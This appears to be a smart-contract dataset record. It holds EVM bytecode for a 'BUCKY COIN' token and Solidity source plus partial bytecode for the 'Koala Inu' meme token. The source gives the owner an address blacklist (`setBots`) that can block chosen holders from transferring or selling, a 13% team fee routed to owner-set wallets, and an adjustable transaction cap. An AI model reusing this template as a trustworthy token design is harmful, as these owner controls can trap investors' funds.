33565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b50610316610d33565b6040518082815260200191505060405180910390f35b34801561033857600080fd5b50610341610d38565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b50610398600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d46565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b506103dd60048036038101908080359060200190929190505050610d66565b005b3480156103eb57600080fd5b5061042c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610f2f565b005b34801561043a57600080fd5b50610479600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611043565b604051808215151515815260200191505060405180910390f35b34801561049f57600080fd5b506104d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d4565b6040518082815260200191505060405180910390f35b3480156104f657600080fd5b5061052b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131d565b604051808215151515815260200191505060405180910390f35b34801561055157600080fd5b5061055a611455565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a857600080fd5b506105b161147b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f15780820151818401526020810190506105d6565b50505050905090810190601f16801561061e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063857600080fd5b5061066d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b604051808215151515815260200191505060405180910390f35b34801561069357600080fd5b506106d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d4565b604051808215151515815260200191505060405180910390f35b3480156106f857600080fd5b506107016116be565b604051808215151515815260200191505060405180910390f35b34801561072757600080fd5b50610766600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116d1565b604051808215151515815260200191505060405180910390f35b34801561078c57600080fd5b506107e1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118cd565b6040518082815260200191505060405180910390f35b34801561080357600080fd5b50610844600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611954565b005b34801561085257600080fd5b50610887600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a68565b005b6040805190810160405280600a81526020017f4255434b5920434f494e0000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1657600080fd5b80600560006101000a81548160ff02191690831515021790555050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610a7257600080fd5b610a7b3361131d565b1515610a8657600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610b5783600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bec83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c428382611bc090919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a63380743000281565b60036020528060005260406000206000915054906101000a900460ff1681565b60008082111515610d7657600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dc457600080fd5b339050610e1982600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc090919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7182600054611bc090919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8b57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610fe857600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611154576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e8565b6111678382611bc090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900460ff16156113ef57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156113dc5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113ea5760009050611450565b61144b565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561144a5760009050611450565b5b600190505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f4255434b5900000000000000000000000000000000000000000000000000000081525081565b60046020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151157600080fd5b61151a3361131d565b151561152557600080fd5b61157782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160c82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff1681565b600061176282600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119b057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611a0d57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ac457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b0057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611bce57fe5b818303905092915050565b6000808284019050838110151515611bed57fe5b80915050929150505600a165627a7a72305820ff2d4cc47b464e268afddf328e4c44b91a49137f908b16cfca584455e900cc660029
|
{"success": true, "error": null, "results": {}}
| 4,407 |
0x8cfbca036a9d93a1ac07f13368588cc9ac2ea745
|
/*
Get in or go out eat leaves.
Our social medias:
https://koalainu.com/
https://t.me/KoalaInu
https://twitter.com/KoalaInuETH
We are smooth brained koalas, looking for 100x plays.
Koalas poop up to 200 times a day.
May koalas be with us.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KoalaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Koala Inu";
string private constant _symbol = 'KOINU️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 13;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360